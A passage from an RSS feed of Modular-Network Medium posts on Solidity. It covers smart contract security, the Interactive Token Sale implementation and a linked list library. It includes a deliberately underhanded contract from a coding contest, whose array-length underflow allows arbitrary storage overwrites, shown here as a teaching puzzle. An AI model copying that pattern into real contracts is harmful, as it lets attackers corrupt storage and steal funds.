few smart contracts on the blockchain, but there are easy ways to get around the problem. Here is an example for addition using Solidity:</p><pre>function add(uint a, uint b) {      <br>  res = a + b<br>  if (res-b == a) &amp;&amp; (res&gt;b || res==b)  {<br>    // the operation was safe  <br>  } else {<br>    // overflow<br>  }   <br>}</pre><p>This checks for overflow on an addition operation by ensuring that the result didn’t wrap around the maximum value held by the variables. There are similar checks needed for subtraction, multiplication, and division.</p><p>Luckily there are libraries that do this for you! You can check out our <a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/BasicMathLib">Basic Math Library</a> and use it to handle all of these cases in your smart contracts.</p><h4>Patient #3</h4><p>Can you find the bug in the contract?</p><pre>uint[] public bonusCodes;</pre><pre>function pushBonusCode(uint code) onlyOwner {<br>  bonusCodes.push(code);    <br>}     <br>function popBonusCode() onlyOwner {        <br>  require(bonusCodes.length &gt;= 0);        <br>  bonusCodes.length--;   <br>}     <br>function modifyBonusCode(uint index, uint update) onlyOwner {<br>  require(index &lt; bonusCodes.length);        <br>  bonusCodes[index] = update;    <br>}</pre><p>This is from <a href="https://medium.com/u/d366098f65db">Doug Hoyte</a>’s contribution to the Underhanded Solidity coding contest!</p><p>From the <a href="https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079">post</a> detailing the results, this contract features a storage array whose length field can be decremented below 0. This causes an arithmetic underflow, effectively disabling Solidity’s array bounds checking. As a result, after the overflow writes to the array can be used to overwrite any storage element located after the array — including all mappings!</p><p>So what did we miss?</p><p>The thing is, we don’t really know for sure. There could be some tiny thing that we don’t account for, and that could be the issue that kills the patient, or in our case, costs our users millions of dollars in Ether.</p><p>The best we can do is follow all the existing application and smart contract best practices the entire time we are designing our application and writing the code, test extensively, and get our code audited by someone who knows what to look for.</p><p>There is something else that can be used to improve the functionality and security of your smart contracts!</p><h4>LIBRARIES!!</h4><p>And more specifically, <a href="https://github.com/Modular-Network/ethereum-libraries">Modular’s Ethereum-Libraries</a>.</p><p>Before you sit down to write your code, realize that there are a bunch of other great developers in the community who have probably already done something similar to what you’re trying to do, and probably have tested, secure code that you can use for some common functionality in your own project.</p><p>With Solidity Libraries, you can import the library into your smart contract and use the functions just like they were in your contract! We have over 20 libraries deployed on the test networks and mainnet for a variety of uses, like basic math, arrays, linked lists, tokens, and even crowdsales. This is production-tested code that can be integrated into your project easily.</p><p>Check out our <a href="https://github.com/Modular-Network/ethereum-libraries">repository</a> for instructions on how to get started!</p><p>Now you have some tools to stay safe while building smart contracts and distributed applications. All thats left is to build things while being safe along the way. And don’t forget, the technology is still in its infancy. We are learning new things about the EVM and Solidity every day, so always stay up to date on the best practices for Ethereum development and any updates to the ecosystem. There are some great resources you can use in your learning experience.</p><p><a href="https://consensys.github.io/smart-contract-best-practices/">Consensys’ Smart Contract Best Practices Documents</a>: These are great notes that explore the vulnerabilities discussed today as well and many others that are important.</p><p>Modular’s Ethereum Libraries Repository: Here you can find detailed instructions on how to integrate our libraries into your project.</p><p>So, we may not have been able to save little Johnny from a lifetime of browser history induced shame, but if we follow the guidelines outlined in this post, we might be able to save millions more from a similar fate.</p><p>At Modular we are working hard on solving many security and usability issues that are present in the ecosystem. We are building Blossom, a new desktop wallet that allows users to avoid complicated key and address management while still keeping complete control over their funds. This wallet will also have KYC integrated into it as well as token and crowdsale launching functionality. You can sign up for newsletters on our signup page to get more updates about the release in the near future.</p><p>Check out our website:<a href="https://modular.network/"> https://modular.network/</a></p><p>Get started with our libraries: <a href="https://github.com/Modular-Network/ethereum-libraries">Ethereum Libraries</a></p><p>Follow us on Twitter: <a href="https://twitter.com/Modular_Inc">@Modular_Inc</a></p><p>Join our Discord chat: <a href="https://discord.gg/sMu6Des">https://discord.gg/sMu6Des</a></p><p>Sign up for the Blossom newsletter: <a href="https://blossomsoftware.com/">https://blossomsoftware.com/</a></p><p><em>Thanks to </em><a href="https://medium.com/u/d9faed34fd6c"><em>William Dias</em></a><em>, </em><a href="https://twitter.com/jessicica14"><em>Jessica Marshall</em></a><em>, and </em><a href="https://medium.com/u/9504cccc65eb"><em>C. Brown</em></a><em> for help making this article and presentation. And thanks to </em><a href="https://medium.com/u/7e7962706fb8"><em>Rhys Lindmark</em></a><em> and the rest of the awesome ETHDenver team for organizing the hackathon and asking us to lead the workshop!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=556502629d54" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/introduction-to-smart-contract-and-dapp-security-556502629d54">Introduction to Smart Contract and DApp Security</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building the Interactive Token Sale]]></title>
            <link>https://medium.com/modular-network/building-the-interactive-token-sale-1545514bf108?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/1545514bf108</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[token-sale]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ico]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Tue, 16 Jan 2018 19:59:20 GMT</pubDate>
            <atom:updated>2018-03-30T18:37:35.899Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_g5m1_lMNLRQUcMMfKLrg.jpeg" /></figure><p>Many high-profile ICOs launched last year amidst a swarm of criticism. The entire community was looking for a method to run token sales on Ethereum in a more fair and safe manner. To achieve these goals, <a href="https://medium.com/u/2d9bc3e711c3">Jason Teutsch</a> and <a href="https://medium.com/u/587a00dbce51">Vitalik Buterin</a> authored the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a> for the Interactive Token Sale protocol, which got a lot of attention. This was finally an ICO model that had the potential to give participants a guarantee of valuation and participation. Here are a couple <a href="https://medium.com/truebit/interactive-coin-offering-a-protocol-explained-267065ef3819">different</a> articles providing a <a href="https://blog.web3.ventures/a-quick-guide-to-the-new-interactive-coin-offering-dbdf3e135469">rundown</a> of how it works.</p><p>In this article, I want to walk you through how we at <a href="https://modular.network/">Modular</a>, with the help of the great team at <a href="https://medium.com/truebit">TrueBit</a> and a few other amazing developers and thinkers in the community, built and optimized the <a href="https://github.com/TrueBitFoundation/interactive-coin-offerings">first implementation</a> of the protocol. I’ll also explore the challenges we faced along the way.</p><h3>Prerequisites</h3><p>Token sales in the past have faced many issues, most notably the tradeoffs between capped and uncapped sales. In a capped sale, there is a chance that some buyers will not get to the sale in time and be excluded. In an uncapped sale, the buyers have no idea what the total valuation will be and thus have no guarantee of what percentage of the total tokens they will be buying.</p><p>The interactive coin offering protocol aims to solve both of these issues by allowing the market to freely and openly decide the valuation through a series of bids that everyone is allowed to participate in.</p><p>The Interactive initial coin offering protocol (IICO) allows participants to submit a bid with what is called a personal valuation cap, in addition to the regular ETH payment for tokens. These bids ensure that the user gets a fair token purchase or refund based on their expectations for the sale valuation. Users also can withdraw their bids throughout the first stage of the sale for a partial refund.</p><p>Through these mechanisms, the market narrows the valuation of the sale to a value that all interested buyers are comfortable with. This value will have an effect on either the token purchase price or the total supply of tokens, depending on how the implementer configures the sale. If the implementers set a fixed number of total tokens available in the sale, then the resulting valuation determines the price of the tokens. If the implementers choose a fixed token price, the resulting valuation determines the total supply of tokens.</p><p>After the sale ends, the sale contract deploys the tokens automatically in order to ensure trustless execution. Token buyers are allocated their share of tokens based on the results of the sale.</p><p><strong>ETH Contribution:</strong> The Ether that the participant sends to the sale with the expectation of receiving tokens in return. These ETH payments are summed throughout the sale to equal the total sale valuation.</p><p><strong>Total Sale Valuation:</strong> The sum of all the active bids in the sale or total amount of ETH raised, not to be confused with the total valuation of the token or project itself, as the sale will only handle a percentage of the total tokens minted. This will fluctuate throughout the sale until the end, when it will reach an equilibrium determined by the participants.</p><p><strong>Personal valuation cap:</strong> A value that, if exceeded by the total sale valuation, will remove the participant’s bid from the sale. It allows the participant to indicate what total sale valuation they are comfortable with. If, at any point in the sale, the total sale valuation is greater than a participant’s personal valuation cap, the participant’s bid is removed. This is important because the participant can ensure that they will have at least a certain percentage of the total tokens in the sale, based on this formula:</p><p>minimum percentage = (ETH Payment)/(personal valuation cap)</p><h4>First Stage</h4><p>In the <strong>first stage</strong>, participants are allowed to submit and withdraw bids at will. In this stage, the total sale valuation will fluctuate as bids are submitted and withdrawn.</p><p>The price of tokens starts low and then increases linearly until the end of the first stage, where it reaches a stable price for the rest of the sale.</p><p>During the first stage, manual withdrawals are subject to a withdrawal penalty that starts at 0% and increases linearly up to 100% at the end of the first stage. This is to protect against large buyers attempting to falsely signal large bids, withdraw, and manipulate the valuation. The ETH that is withheld from this refund still goes towards purchasing tokens for this participant.</p><p>A manual withdrawal also forfeits a percentage of the bonus tokens received from a lower purchase price on the remaining, permanently committed tokens.</p><p>Since the total sale valuation can move up and down in the first stage due to deposits and withdrawals, every bid is still ‘active’ even if a personal valuation cap is exceeded, meaning that it still has or may have an effect on the sale.</p><h4>Second Stage</h4><p>The transition between the first and second stage is termed the <strong>“withdrawal lock.” </strong>In the <strong>second stage</strong>, submissions are still allowed, but all active bids are committed for the duration of the sale. Withdrawing ETH refunds are only allowed if the participant has a minimal bid, meaning their personal cap is less than the total sale valuation — in other words, excluded from the sale.</p><h4><strong>Post-Sale:</strong></h4><p>After the sale is over the token smart contract is deployed automatically and tokens are allocated based on the results of the sale. Any participant can withdraw their purchased tokens or refunded ether. Tokens cannot be withdrawn during the sale because of the fluctuating valuation and possibility that the purchases will be refunded. The withdrawn tokens and/or ether are then sent to the participant’s address.</p><h4>Manual Withdrawal Details</h4><p>Now that we know what the two stages are, lets look at the process of manually withdrawing. During the first stage, participants can manually withdraw their submitted bid and receive a linearly decreasing percentage of their ETH back. This is to protect against large buyers attempting to falsely signal and manipulate the valuation. The ETH that is withheld from this refund still goes towards purchasing tokens for this participant and the rest is refunded.</p><p>Additionally, a manual withdrawal forfeits a percentage of the early contribution bonus on the remaining, permanently committed tokens. See section 5.3 of the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a> for an explanation of why these two penalties are necessary. The ETH that was withheld still goes towards the crowdsale in the form of a token purchase — this penalized ETH is no longer able to be withdrawn.</p><p>In the second stage, like what is mentioned above, manual withdrawals are only allowed if the participants cap has been exceeded by the total valuation. These withdrawals receive complete refunds because their contributions have no effect on the sale. After the withdrawal lock, the total sale valuation will <strong>monotonically increase</strong>, meaning it can only stay the same or increase.</p><p>To recap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ju77DMazgnpziW0gIWsnRQ.png" /></figure><p>That was only a basic explanation to provide some background information on interactive token sales. In this article, I am assuming that readers know the general basics of how the sale works. You can read some of the articles I linked above in addition to the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a> to get a better handle on some intricacies of the protocol. <a href="https://medium.com/u/5f4741b0ff52">Rob Bent</a> wrote a great summary here:</p><p><a href="https://medium.com/truebit/interactive-coin-offering-a-protocol-explained-267065ef3819">Interactive Coin Offering — A Protocol Explained</a></p><h4><a href="https://github.com/Modular-Network/ethereum-libraries">Modular Libraries</a></h4><p>If you have read any of my or <a href="https://medium.com/u/9504cccc65eb">C. Brown</a>’s posts or checked out our repository or <a href="https://modular.network/">website</a>, you know that we’re creating secure <a href="https://github.com/Modular-Network/ethereum-libraries">standard libraries</a> that are easy to understand and use right away. In that vein, we decided to build the Interactive Token Sale implementation on top of our <a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/CrowdsaleLib">base Crowdsale Library</a>, which contains proven functionality and storage structs that are common to almost all crowdsale models, so that anyone can utilize them as library functions. You can read more about this library in my first post:</p><p><a href="https://medium.com/@hannanjoshua19/finding-common-ground-among-unique-token-sale-models-b554327a0f1">Finding Common Ground Among Unique Token Sale Models</a></p><h4><a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/LinkedListLib">Linked List Library</a></h4><p>To store the sorted personal valuation caps, we needed a data structure that could be sorted in increasing order that also allows easy insertions and deletions. Sounds like the description of a linked list! We have a <a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/LinkedListLib">library</a> for that also that we made based on the great work <a href="https://medium.com/u/a6be70cdd3b5">Darryl Morris</a> did in his <a href="https://github.com/o0ragman0o/LibCLL">implementation here</a>, creating a linked list that is built using a uint256 =&gt; bool mapping. You can read more about how that works in my last post:</p><p><a href="https://medium.com/modular-network/circular-linked-list-in-solidity-41ee6d1d0056">Circular Linked List in Solidity!</a></p><h3><a href="https://github.com/Modular-Network/old-iico/tree/master/AutoRemoval">First Draft Details</a></h3><p>When we first built the Interactive Token Sale implementation, we took what was written in the technical <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">paper</a> and directly translated it to smart contract form.</p><h4>Obvious Issues</h4><p>Implementing theoretical work in code comes with tradeoffs and issues that don’t necessarily apply in theory. Also, smart contract programming is a new paradigm which creates issues that normal code doesn’t necessarily have, most notably around cost of execution, i.e. gas use.</p><p><strong>Removing Bids from the sale costs too much gas:</strong></p><p>In the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a>, it was specified that when the total sale valuation surpasses a bidder’s personal valuation cap, their bid should be removed from the sale. This seemed fairly simple, and we implemented this functionality in the submitBid function as a loop that traverses the submitted bids and removes any bids with personal valuation caps below the total sale valuation, and sends refunds until the total sale valuation has gotten back to be less than all bids that have been submitted. If you are interested in seeing the code, check out the implementation <a href="https://github.com/Modular-Network/old-iico/blob/master/AutoRemoval/truffle/contracts/InteractiveCrowdsaleLib.sol">here.</a></p><p>As you can probably see, this poses a potential problem of unchecked gas usage. If a user submits a large bid, there could be many bids that need to be removed, potentially costing the bidder a lot in gas fees or even exceeding the block gas limit!</p><p>It’s imperative that all participants in the IICO protocol are treated equally. Participants should not be penalized with high gas usage for the behavior of other users. Therefore, we needed to completely redesign how the sale keeps track of bids.</p><h3>Redesign</h3><p>The redesign constantly calculates the cutoff for participation in the sale and keeps a record of which bids are valid and which aren’t, without automatic refunds. After the sale ends, participants can withdraw their tokens if their cap was not exceeded by the total value. If their valuation cap was exceeded, they were essentially removed from the sale, so their total amount of ETH they contributed to the sale is refunded and available for withdrawal. This avoids costly looping and calculations that were needed in the previous version when bids were sorted and removed/partially removed throughout the sale, cutting down on gas price. Sending ETH is a costly transaction, so removing all the unnecessary ETH transfers is very important. Both versions enforce the monotonically increasing valuation variant discussed in section 5.2 of <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">the technical paper,</a> but this version significantly cuts down on gas costs.</p><p>This version also enforces that personal valuation caps can only be submitted in evenly spaced valuations. These are spaced by the 3 most significant digits of each personal valuation cap. These make it so there is even spacing in the linked list struct that holds the personal valuations, meaning the bids are spaced in a more efficient fashion, further saving gas on searching the linked list.</p><h4>Valuation Cutoff Pointer</h4><p>To accomplish this, the library utilizes a pointer throughout the sale that indicates which personal valuation cap in the linked list is the cutoff point for being allowed in the sale. It only counts bids towards the total sale valuation that have personal valuation caps that are greater than the total sale valuation. This pointer will be correlated to the total sale valuation, but since it will always point to a submitted personal valuation cap, it will often not be exactly equal to the total sale valuation, but will be relatively close.</p><p>At the beginning of the sale, the pointer is set at 0, indicating that the valuation of the sale is 0 and there are no bids that have been submitted or “discarded” from the sale.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6TBNVpB987ZwecMg4tVzw.png" /><figcaption>The state at the beginning of the sale. The box on the left is the empty linked list representing the sorted submitted personal valuation caps.</figcaption></figure><h4>Bid Process:</h4><p>(This process is taken from the submitBid function in <a href="https://github.com/TrueBitFoundation/interactive-coin-offerings/blob/master/truffle/contracts/InteractiveCrowdsaleLib.sol">InteractiveCrowdsaleLib.sol</a>)</p><p>Every time a new bid is submitted, its personal valuation cap is added to the sorted linked list of personal valuation caps. Then the contract adds its bid to a sum of all bids submitted with that same personal valuation cap. After that, it records the amount of ETH submitted in that bid and the token price bonus at the time the bid was submitted.</p><p>Then, if the personal valuation cap is less than the current total sale valuation, the bid is still registered by the sale, but it is not counted towards the total sale valuation. If the personal valuation cap is greater than the current total sale valuation, then the bid is added to the current valuation and the cutoff pointer is potentially increased to show which bids have been “kicked out” of the sale. Bids that are overtaken by the pointer are subtracted from the total sale valuation but still remain recorded in case the pointer decreases.</p><p>This valuation cutoff pointer mechanism is active throughout the entire sale, but will increase and decrease during the first stage of the sale. After the withdrawal lock, the pointer, like the total sale valuation, is monotonically increasing, meaning it cannot decrease, only increase or stay the same, since manual withdrawals are not possible in that stage.</p><p>If you reference the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper,</a> you’ll see in Section 4, step 3, part 3 that bids that are equal to the current valuation pointer are refunded a portion of their bids instead of being kicked out to keep the valuation monotonically increasing as bids are removed. This is now only necessary to do once, at the very end of the sale. Bids with personal valuation caps equal to the valuation pointer will be partially refunded ETH and receive the rest of their purchase in tokens. This still satisfies the requirement in section 5.2.</p><h4>Valuation Pointer Mechanics Walkthrough</h4><p>I’ll do a quick walkthrough with some diagrams to show the correct pointer movement. We’ll start with the first bid in the sale, Josh sending 9 ETH with a personal valuation cap of 186 ETH. Here is the state after the first bid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qv-pfR2GVpe2ke9stv-HA.png" /></figure><p>As you can see, Josh has contributed 9 ETH, so the total sale valuation has increased to 9. His personal valuation cap was added to the sorted list of caps, but since the total sale valuation is still less than his cap, the pointer is still pointing at zero, showing that all bids still remain in the sale.</p><p>You might be confused that the pointer isn’t equal to the current valuation. The reason for this is that the pointer needs to always point at one of the personal valuation caps, indicating which cap is the cutoff to remain in the sale. This is slightly different than what is specified in section 4 of the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a>, but necessary for proper functionality of the pointer mechanism and ensuring monotonically increasing sale valuation.</p><p>A similar state happens when the second bid is submitted with a high personal valuation cap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5nybgIecu8VZpGVD8v-UA.png" /></figure><p>Going smoothly so far! Now lets see what happens when a bid is submitted with a personal valuation cap that is less than the total sale valuation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyCWBL9oqSxeeLde9Vw8fQ.png" /><figcaption>The bid has a personal valuation cap below the total sale valuation, so it doesn’t affect the sale at all</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v11A7VdxHfvykfBi0D6kvQ.png" /><figcaption>Pointer is fixed when another bid comes in</figcaption></figure><p>As you can see, Robbie’s bid with a personal valuation cap less than the total sale valuation is still recorded in the list and storage, but does not affect the total sale valuation or pointer at all. When another bid comes in, the pointer is moved to 12 to show that personal valuation caps of 12 and lower are not involved in the sale.</p><p>Now lets see what happens when a bidders cap is exceeded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbUwWMBTAhxTja9G41aLSA.png" /></figure><p>As you can see from the next two bids, the total sale valuation would increase to more than Gus’ cap of 38, but removing his bid would decrease the total sale valuation to below 38. This creates an issue with deciding whether or not he should remain in the sale. The sale accounts for this by moving the pointer to 38, his cap, and setting the total sale valuation to the same number. This indicates that he will get a partial purchase of his tokens when he withdraws his tokens at the end of the sale.</p><h4>Withdrawals During the First Stage of the Sale</h4><p>At some point, some of the participants might want to manually withdraw their bid. To protect from blackout attacks (detailed in section 5.3 of the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a>) contributors that manually withdraw will forfeit part of their early contribution bonus and a portion of their contribution will be locked in to the sale. When a contributor withdraws, they will get a partial refund, the rest will be converted to tokens, minus part of the early contribution bonus. You can read about the reasoning for this choice in section 5.3 of the paper. Please remember, this is only for manual withdrawals before the “withdrawal lock”. Automated withdrawals due to personal cap being lower than the total valuation will not be penalized.</p><p>Let’s look at how it would affect our example sale.</p><p>In this example, JG wants to withdraw his 5 ETH contribution from the sale. The figure shows the state of the sale after the withdrawal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EN07xFaF0FzW66etUL7AQg.png" /></figure><p>The penalty increases linearly throughout the first stage of the sale. For simplicity’s sake, we are assuming that the penalty at this point is 40%. JG gets 3 ETH back and the remaining 2 is still committed to the sale. This decreases the total sale valuation to 35, and the pointer stays at 38. If there was a bid with a personal valuation cap of 35, the pointer would be pointing at that, but since there isn’t, it stays at 38.</p><p>As you can probably imagine, manual withdrawals can lead to a reduction in the Total Valuation and as a result, bids that were previously excluded can once again be included.</p><p>For clarification, bids that have been passed by the valuation pointer are still subject to the withdrawal penalty before the withdrawal lock, but not after. You can read the reasoning for this in section 5.3 of the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper.</a></p><p>Most of the algorithms for tracking bids require changing only a few values and iterating over a small number of nodes in the linked list. This significantly decreases the potential gas cost compared to the costly operations required for looping through the list, removing nodes, giving bidders with minimal bids partial refunds after each loop, and resetting bidders stored bid history.</p><h3>Potential Improvements</h3><p><strong>Buyers currently do not have a way to enforce a minimum valuation:</strong></p><p>The goal of the <a href="https://people.cs.uchicago.edu/%7Eteutsch/papers/ico.pdf">technical paper</a> is to give participants as much control and comfort in participating in the sale at their desired valuation. Some participants might be uncomfortable participating in the sale if the valuation doesn’t exceed a certain value. A solution was proposed for this as a possible addition to the core protocol. Similarly to the personal valuation caps, users would also be able to include personal valuation minimums where bids are kicked out of the sale if the total sale valuation doesn’t meet their minimum.</p><p>We devised an algorithm for this, but eventually came to the conclusion we would hold off on including it in the current implementation. The complexity of the interactions between personal minimums and personal valuation caps would be too challenging to reasonably build and test at this point. Modular cares about building secure systems, so ensuring that the base functionality of the Interactive token sale is functional and secure was our top priority.</p><p>Instead, we included a minimum valuation that the team running the crowdsale sets. If this minimum valuation is not met, the sale is cancelled and all bids are refunded. This is intended for the project to determine what the minimum amount of money is for them to successfully build the protocol. Participants can use this to decide if they are ok with the minimum valuation before they submit their bids.</p><p>We hope to include personal minimums in a future version of the implementation.</p><h3>Current Status</h3><p>We have finished the first draft and it is being audited! We’re currently working on writing as many tests as possible, expanding our coverage and hitting as many possible sale configurations and test cases as we can.</p><p>You can get involved in the development of this protocol! The development of the contract is open source and we are always looking for contributors, especially with writing tests for the contracts to account for all possible configurations and test cases. If you want to get involved, you can get on the repo and comment on a current issue or open an issue.</p><p>Issues that currently need addressing are:</p><ul><li>100% Code coverage (triggering all possible throws, conditionals, etc)</li><li>testing all varieties of different sale configurations and participant behaviors to ensure behavior stays consistent throughout every scenario.</li><li>Updating documentation, adding a FAQ, and adding more diagrams to more accurately describe the behavior of the contracts.</li></ul><p>Discord: <a href="https://discord.gg/sMu6Des">https://discord.gg/sMu6Des</a></p><p>The contracts will be used in a production setting soon!</p><h3>Learn More!</h3><p>This is a crowdsale model that has the potential to make a huge difference in how ICOs are run and projects are valued. If you would like to learn how you can get involved or want to use the Interactive ICO for your token sale, please get in contact with us by signing up for the newsletter and filling out our survey. You’ll be able to get updates about the status of the protocol and the work that is being done on creating a great user experience for it.</p><p>Link to IICO website:</p><p><a href="https://www.iicoprotocol.com/">IICO Protocol - Interactive Coin Offering</a></p><p><em>HUGE thanks to </em><a href="https://medium.com/u/9504cccc65eb"><em>C. Brown</em></a><em>, </em><a href="https://medium.com/u/5c1fa9fbf713"><em>Gustavo (Gus) Guimaraes</em></a><em>, </em><a href="https://medium.com/u/f189cdd7e5c4"><em>JG Carvalho</em></a><em>, and </em><a href="https://medium.com/u/5f4741b0ff52"><em>Rob Bent</em></a><em> for their work on building and testing the implementation, and for reading and making suggestions on this post. And thank you especially to </em><a href="https://medium.com/u/2d9bc3e711c3"><em>Jason Teutsch</em></a><em> and </em><a href="https://medium.com/u/587a00dbce51"><em>Vitalik Buterin</em></a><em> for designing this awesome protocol and collaborating with us on improving the protocol, building the implementation, and writing this post!</em></p><p><em>You can also find out what else we are doing at Modular by checking out our website at </em><a href="https://modular.network/">https://modular.network</a>. <em>We have some great projects in the works and can’t wait to share them with everyone!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1545514bf108" width="1" height="1" alt=""><hr><p><a href="https://medium.com/modular-network/building-the-interactive-token-sale-1545514bf108">Building the Interactive Token Sale</a> was originally published in <a href="https://medium.com/modular-network">Modular-Network</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Circular Linked List in Solidity!]]></title>
            <link>https://medium.com/modular-network/circular-linked-list-in-solidity-41ee6d1d0056?source=rss----7aa66edd3fc8---4</link>
            <guid isPermaLink="false">https://medium.com/p/41ee6d1d0056</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[linked-lists]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[Joshua Hannan]]></dc:creator>
            <pubDate>Wed, 13 Dec 2017 15:04:23 GMT</pubDate>
            <atom:updated>2017-12-13T22:10:07.924Z</atom:updated>
            <content:encoded><![CDATA[<p>Aren’t mappings great?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*twPhY6mv3C_0beb4Apd4Qw.jpeg" /></figure><p>At <a href="https://modular.network/">Modular</a>, we’re busy working on building a great set of <a href="https://github.com/Modular-Network/ethereum-libraries">standard libraries </a>that are easy to use, well documented, well tested, and most importantly, secure. We want to help make Ethereum and Solidity safer and more accessible for anyone doing development, whether they are a complete newbie or a seasoned pro. A couple months ago, I realized that a linked list would be useful for a few different applications, most importantly the implementation of the <a href="https://github.com/TrueBitFoundation/interactive-coin-offerings">Interactive Token Sale</a> that we are close to finishing building. So I did some research!</p><h3>Never Start From Scratch unless you need to</h3><p>I could have started from scratch but why do that when you can take advantage of the shared knowledge and work of all the other amazing <a href="https://github.com/o0ragman0o/LibCLL">developers in the community!</a> That is something that everyone needs to take to heart here. Odds are, if there is something you want to do, someone has at least started working on it, and there is a lot you can learn from engaging with the community. We found <a href="https://medium.com/u/a6be70cdd3b5">Darryl Morris</a>’s repo <a href="https://github.com/o0ragman0o/LibCLL">here</a> and thought it was a great place to start.</p><p>From <a href="https://en.wikipedia.org/wiki/Linked_list">Wikipedia:</a> In <a href="https://en.wikipedia.org/wiki/Computer_science">computer science</a>, a <strong>linked list</strong> is a linear collection of data elements, in which linear order is not given by their physical placement in memory. Instead, each element <a href="https://en.wikipedia.org/wiki/Pointer_(computer_programming)">points</a> to the next.</p><p>A circular doubly linked list is when two consecutive elements are linked by previous and next pointer and the last node points to first node by next pointer and also the previous pointer of the <strong>head node</strong> points to the tail node.</p><h3>Check out the <a href="https://github.com/Modular-Network/ethereum-libraries/tree/master/LinkedListLib">full library here!</a></h3><p>The Linked List library provides functionality needed to create and manipulate a uint256-indexed Circular Linked List Data structure by allowing a multitude of different functions to be used to interact with the struct. Functions like push() and pop() can be used to create a FILO stack or FIFO ring buffer. getAdjacent() can also be used to iterate over the list. Here is a brief description of the functionality:</p><ul><li>Can check if the list exists and find the size.</li><li>Can check if a certain node exists.</li><li>Gets adjacent nodes to a specified node.</li><li>Finds a spot in a sorted list for a new node to be placed.</li><li>Insert nodes and create links between nodes.</li><li>Remove, push, and pop nodes from the list.</li></ul><p>LinkedList is a nested mapping with the first key being the node index (uint256) and the second being the bidirectional link (bool) to a neighboring node. Key 0 implies the head so writes to LinkedList.list[0] or manually linking to Linkedlist.list[0] (e.g. list[var1][false] = 0;) are to be avoided by the calling contract.</p><pre>struct LinkedList{<br>        mapping (uint256 =&gt; mapping (bool =&gt; uint256)) cll;<br>}</pre><h3>Design Decisions</h3><p>Linked lists are powerful data structures and can be implemented in a variety of ways. I saw what <a href="https://medium.com/u/a6be70cdd3b5">Darryl Morris</a> did in his <a href="https://github.com/o0ragman0o/LibCLL">implementation</a> and I knew that was the best place to start.</p><p><strong>Using a mapping:</strong></p><pre>/// @dev returns true if the node exists<br>/// @param self stored linked list from contract<br>/// @param _node a node to search for<br>function nodeExists(LinkedList storage self, uint256 _node) <br>    internal<br>    view returns (bool)<br>{<br>    if (self.list[_node][PREV] == HEAD &amp;&amp; <br>        self.list[_node][NEXT] == HEAD) <br>    {<br>        if (self.list[HEAD][NEXT] == _node) {<br>            return true;<br>        } else {<br>            return false;<br>        }<br>    } else {<br>        return true;<br>    }<br>}</pre><p>Using the mapping to store the list made the most sense because of the efficiency benefits. Checking if a node exists in the linked list requires only a few lookups because you can instantly check to see if that entry in the mapping has a valid PREV and NEXT pointer. No iterating through the list is required, essentially making this a O(1) operation.</p><p>One drawback of using a mapping is that there can only be one entry per number. This could cause some potential problems in the future, but can be circumvented by having another mapping that indicates how many entries there are at a certain index:</p><pre>mapping (uint256 =&gt; uint256) numEntries;</pre><p>Another drawback of the mapping is that it limits the amount of information that can be stored in the first order data struct. I think this is a necessary tradeoff for usability because the goal of this is to make it useable by anyone. Keeping the list struct as simple as possible accomplishes that. If someone wants to store other information about the node, they can use a separate mapping that is indexed by the nodes in the linked list, like the numEntries case explained 